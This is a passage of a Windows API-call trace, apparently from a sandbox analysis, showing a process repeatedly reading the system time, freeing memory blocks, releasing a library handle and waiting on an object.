dwHighDateTime=0x1d9eb0c)) [0205.347] free (_Block=0x196ef0d1d00) [0205.347] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.348] free (_Block=0x196ef0d67b0) [0205.348] free (_Block=0x196ef0fb810) [0205.349] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b410d14, dwHighDateTime=0x1d9eb0c)) [0205.354] free (_Block=0x196ef0d1ea0) [0205.354] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.355] free (_Block=0x196ef0d67b0) [0205.355] free (_Block=0x196ef0fb270) [0205.356] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b42b4b4, dwHighDateTime=0x1d9eb0c)) [0205.363] free (_Block=0x196ef0d1e20) [0205.363] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.364] free (_Block=0x196ef0d67b0) [0205.364] free (_Block=0x196ef0fb860) [0205.364] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b42b4b4, dwHighDateTime=0x1d9eb0c)) [0205.370] free (_Block=0x196ef0d1b40) [0205.371] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.371] free (_Block=0x196ef0d67b0) [0205.372] free (_Block=0x196ef0fb220) [0205.372] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b5829a3, dwHighDateTime=0x1d9eb0c)) [0205.502] free (_Block=0x196ef0d1a20) [0205.502] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.502] free (_Block=0x196ef0d67b0) [0205.503] free (_Block=0x196ef0fb400) [0205.503] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b6415b7, dwHighDateTime=0x1d9eb0c)) [0205.623] free (_Block=0x196ef0d1f20) [0205.623] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.624] free (_Block=0x196ef0d67b0) [0205.624] free (_Block=0x196ef0fba40) [0205.625] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.625] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b70fb7a, dwHighDateTime=0x1d9eb0c)) [0205.666] free (_Block=0x196ef0d1fa0) [0205.666] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.667] free (_Block=0x196ef0d67b0) [0205.667] free (_Block=0x196ef0fb680) [0205.667] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b73b095, dwHighDateTime=0x1d9eb0c)) [0205.680] free (_Block=0x196ef0d20e0) [0205.680] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.680] free (_Block=0x196ef0d67b0) [0205.681] free (_Block=0x196ef0fb310) [0205.682] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.744] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.745] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b8a38d1, dwHighDateTime=0x1d9eb0c)) [0205.835] free (_Block=0x196ef0d1a60) [0205.835] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.835] free (_Block=0x196ef0d67b0) [0205.836] free (_Block=0x196ef0fb630) [0205.836] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b8c9c36, dwHighDateTime=0x1d9eb0c)) [0205.847] free (_Block=0x196ef0d1de0) [0205.847] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.848] free (_Block=0x196ef0d67b0) [0205.848] free (_Block=0x196ef0fb220) [0205.849] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5b8c9c36, dwHighDateTime=0x1d9eb0c)) [0205.856] free (_Block=0x196ef0d1d00) [0205.856] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.857] free (_Block=0x196ef0d67b0) [0205.858] free (_Block=0x196ef0fc120) [0205.858] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0205.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ba43cbd, dwHighDateTime=0x1d9eb0c)) [0205.998] free (_Block=0x196ef0d1d40) [0205.998] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0205.998] free (_Block=0x196ef0d67b0) [0206.000] free (_Block=0x196ef0fb720) [0206.000] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ba5f951, dwHighDateTime=0x1d9eb0c)) [0206.007] free (_Block=0x196ef0d1de0) [0206.007] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.007] free (_Block=0x196ef0d67b0) [0206.008] free (_Block=0x196ef0fb3b0) [0206.008] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ba682b4, dwHighDateTime=0x1d9eb0c)) [0206.015] free (_Block=0x196ef0d1b00) [0206.015] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.015] free (_Block=0x196ef0d67b0) [0206.016] free (_Block=0x196ef0fb540) [0206.016] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ba682b4, dwHighDateTime=0x1d9eb0c)) [0206.022] free (_Block=0x196ef0d1ec0) [0206.022] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.023] free (_Block=0x196ef0d67b0) [0206.023] free (_Block=0x196ef0fbae0) [0206.023] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ba8e973, dwHighDateTime=0x1d9eb0c)) [0206.031] free (_Block=0x196ef0d1fc0) [0206.031] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.031] free (_Block=0x196ef0d67b0) [0206.032] free (_Block=0x196ef0fb900) [0206.032] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5ba8e973, dwHighDateTime=0x1d9eb0c)) [0206.038] free (_Block=0x196ef0d1f60) [0206.038] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.038] free (_Block=0x196ef0d67b0) [0206.039] free (_Block=0x196ef0fbc20) [0206.039] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bb51e00, dwHighDateTime=0x1d9eb0c)) [0206.110] free (_Block=0x196ef0d1ba0) [0206.110] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.111] free (_Block=0x196ef0d67b0) [0206.111] free (_Block=0x196ef0fbc20) [0206.112] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bb51e00, dwHighDateTime=0x1d9eb0c)) [0206.120] free (_Block=0x196ef0d20a0) [0206.120] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.120] free (_Block=0x196ef0d67b0) [0206.121] free (_Block=0x196ef0fbcc0) [0206.121] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bb76984, dwHighDateTime=0x1d9eb0c)) [0206.128] free (_Block=0x196ef0d20c0) [0206.128] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.128] free (_Block=0x196ef0d67b0) [0206.128] free (_Block=0x196ef0fbcc0) [0206.129] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bb76984, dwHighDateTime=0x1d9eb0c)) [0206.135] free (_Block=0x196ef0d1a20) [0206.135] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.135] free (_Block=0x196ef0d67b0) [0206.136] free (_Block=0x196ef0fb310) [0206.136] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bb9d7e4, dwHighDateTime=0x1d9eb0c)) [0206.141] free (_Block=0x196ef0d1f20) [0206.142] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.142] free (_Block=0x196ef0d67b0) [0206.142] free (_Block=0x196ef0fb630) [0206.143] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bccab50, dwHighDateTime=0x1d9eb0c)) [0206.265] free (_Block=0x196ef0d1fe0) [0206.266] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.266] free (_Block=0x196ef0d67b0) [0206.267] free (_Block=0x196ef0fbbd0) [0206.267] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bccab50, dwHighDateTime=0x1d9eb0c)) [0206.273] free (_Block=0x196ef0d1960) [0206.273] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.274] free (_Block=0x196ef0d67b0) [0206.274] free (_Block=0x196ef0fb860) [0206.274] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bcf7638, dwHighDateTime=0x1d9eb0c)) [0206.290] free (_Block=0x196ef0d1fa0) [0206.290] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.290] free (_Block=0x196ef0d67b0) [0206.291] free (_Block=0x196ef0fc080) [0206.291] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.297] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bd17119, dwHighDateTime=0x1d9eb0c)) [0206.297] free (_Block=0x196ef0d1d00) [0206.297] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.297] free (_Block=0x196ef0d67b0) [0206.298] free (_Block=0x196ef0fbf90) [0206.298] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bd17119, dwHighDateTime=0x1d9eb0c)) [0206.305] free (_Block=0x196ef0d1ca0) [0206.306] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.306] free (_Block=0x196ef0d67b0) [0206.306] free (_Block=0x196ef0fb310) [0206.307] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bdd5bda, dwHighDateTime=0x1d9eb0c)) [0206.382] free (_Block=0x196ef0d1d20) [0206.382] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.382] free (_Block=0x196ef0d67b0) [0206.383] free (_Block=0x196ef0fbef0) [0206.383] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bdfc084, dwHighDateTime=0x1d9eb0c)) [0206.391] free (_Block=0x196ef0d1d60) [0206.391] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.391] free (_Block=0x196ef0d67b0) [0206.392] free (_Block=0x196ef0fba40) [0206.392] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5be6e668, dwHighDateTime=0x1d9eb0c)) [0206.432] free (_Block=0x196ef0d20e0) [0206.432] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.433] free (_Block=0x196ef0d67b0) [0206.433] free (_Block=0x196ef0fb680) [0206.433] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.434] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bf796ce, dwHighDateTime=0x1d9eb0c)) [0206.542] free (_Block=0x196ef0d20a0) [0206.543] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.543] free (_Block=0x196ef0d67b0) [0206.544] free (_Block=0x196ef0fb720) [0206.544] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bf796ce, dwHighDateTime=0x1d9eb0c)) [0206.550] free (_Block=0x196ef0d1e00) [0206.550] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.550] free (_Block=0x196ef0d67b0) [0206.551] free (_Block=0x196ef0fb4f0) [0206.551] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bf796ce, dwHighDateTime=0x1d9eb0c)) [0206.558] free (_Block=0x196ef0d1a40) [0206.558] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.558] free (_Block=0x196ef0d67b0) [0206.559] free (_Block=0x196ef0fbb30) [0206.559] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5bfc5b59, dwHighDateTime=0x1d9eb0c)) [0206.586] free (_Block=0x196ef0d1da0) [0206.586] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.587] free (_Block=0x196ef0d67b0) [0206.587] free (_Block=0x196ef0fbc20) [0206.588] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5c0384b4, dwHighDateTime=0x1d9eb0c)) [0206.635] free (_Block=0x196ef0d1e60) [0206.635] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0206.636] free (_Block=0x196ef0d67b0) [0206.636] free (_Block=0x196ef0fbd10) [0206.636] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0206.637] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60cb510e, dwHighDateTime=0x1d9eb0c)) [0214.645] free (_Block=0x196ef0d1d60) [0214.645] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.646] free (_Block=0x196ef0d4e70) [0214.646] free (_Block=0x196ef0fb770) [0214.647] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60cb510e, dwHighDateTime=0x1d9eb0c)) [0214.653] free (_Block=0x196ef0d1ea0) [0214.653] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.654] free (_Block=0x196ef0d4e70) [0214.655] free (_Block=0x196ef0fb860) [0214.655] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60dc002c, dwHighDateTime=0x1d9eb0c)) [0214.750] free (_Block=0x196ef0d1960) [0214.750] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.751] free (_Block=0x196ef0d4e70) [0214.752] free (_Block=0x196ef0fbe00) [0214.752] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60df104f, dwHighDateTime=0x1d9eb0c)) [0214.773] free (_Block=0x196ef0d20e0) [0214.773] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.774] free (_Block=0x196ef0d4e70) [0214.774] free (_Block=0x196ef0fbd60) [0214.775] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60df104f, dwHighDateTime=0x1d9eb0c)) [0214.781] free (_Block=0x196ef0d1b60) [0214.781] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.782] free (_Block=0x196ef0d4e70) [0214.783] free (_Block=0x196ef0fb6d0) [0214.783] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60e0c44c, dwHighDateTime=0x1d9eb0c)) [0214.789] free (_Block=0x196ef0d1b40) [0214.789] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.789] free (_Block=0x196ef0d4e70) [0214.790] free (_Block=0x196ef0fc170) [0214.790] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60fafdf6, dwHighDateTime=0x1d9eb0c)) [0214.962] free (_Block=0x196ef0d1d60) [0214.963] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.963] free (_Block=0x196ef0d4e70) [0214.965] free (_Block=0x196ef0fbdb0) [0214.965] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0214.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x60ffc368, dwHighDateTime=0x1d9eb0c)) [0214.993] free (_Block=0x196ef0d19a0) [0214.993] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0214.994] free (_Block=0x196ef0d4e70) [0214.995] free (_Block=0x196ef0fc120) [0214.995] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61022910, dwHighDateTime=0x1d9eb0c)) [0215.002] free (_Block=0x196ef0d19e0) [0215.002] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.003] free (_Block=0x196ef0d4e70) [0215.003] free (_Block=0x196ef0fb770) [0215.003] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6125e83e, dwHighDateTime=0x1d9eb0c)) [0215.241] free (_Block=0x196ef0d1d60) [0215.242] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.242] free (_Block=0x196ef0d4e70) [0215.243] free (_Block=0x196ef0fb2c0) [0215.243] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61284bbe, dwHighDateTime=0x1d9eb0c)) [0215.251] free (_Block=0x196ef0d1a40) [0215.251] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.251] free (_Block=0x196ef0d4e70) [0215.252] free (_Block=0x196ef0fb680) [0215.252] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61284bbe, dwHighDateTime=0x1d9eb0c)) [0215.260] free (_Block=0x196ef0d1a80) [0215.260] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.261] free (_Block=0x196ef0d4e70) [0215.261] free (_Block=0x196ef0fb680) [0215.262] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x612aaeb2, dwHighDateTime=0x1d9eb0c)) [0215.268] free (_Block=0x196ef0d2080) [0215.269] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.269] free (_Block=0x196ef0d4e70) [0215.269] free (_Block=0x196ef0fb220) [0215.270] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x612aaeb2, dwHighDateTime=0x1d9eb0c)) [0215.278] free (_Block=0x196ef0d1fa0) [0215.278] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.278] free (_Block=0x196ef0d4e70) [0215.278] free (_Block=0x196ef0fbae0) [0215.279] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61474aad, dwHighDateTime=0x1d9eb0c)) [0215.463] free (_Block=0x196ef0d1bc0) [0215.463] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.463] free (_Block=0x196ef0d4e70) [0215.464] free (_Block=0x196ef0fbb30) [0215.464] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6149ac9b, dwHighDateTime=0x1d9eb0c)) [0215.471] free (_Block=0x196ef0d1da0) [0215.471] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.471] free (_Block=0x196ef0d4e70) [0215.472] free (_Block=0x196ef0fb950) [0215.472] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6149ac9b, dwHighDateTime=0x1d9eb0c)) [0215.480] free (_Block=0x196ef0d1d60) [0215.480] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.480] free (_Block=0x196ef0d4e70) [0215.481] free (_Block=0x196ef0fba40) [0215.481] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x614c0f83, dwHighDateTime=0x1d9eb0c)) [0215.488] free (_Block=0x196ef0d1e20) [0215.488] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.488] free (_Block=0x196ef0d4e70) [0215.489] free (_Block=0x196ef0fb7c0) [0215.489] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x616648f4, dwHighDateTime=0x1d9eb0c)) [0215.656] free (_Block=0x196ef0d1960) [0215.656] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.657] free (_Block=0x196ef0d4e70) [0215.657] free (_Block=0x196ef0fbfe0) [0215.658] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 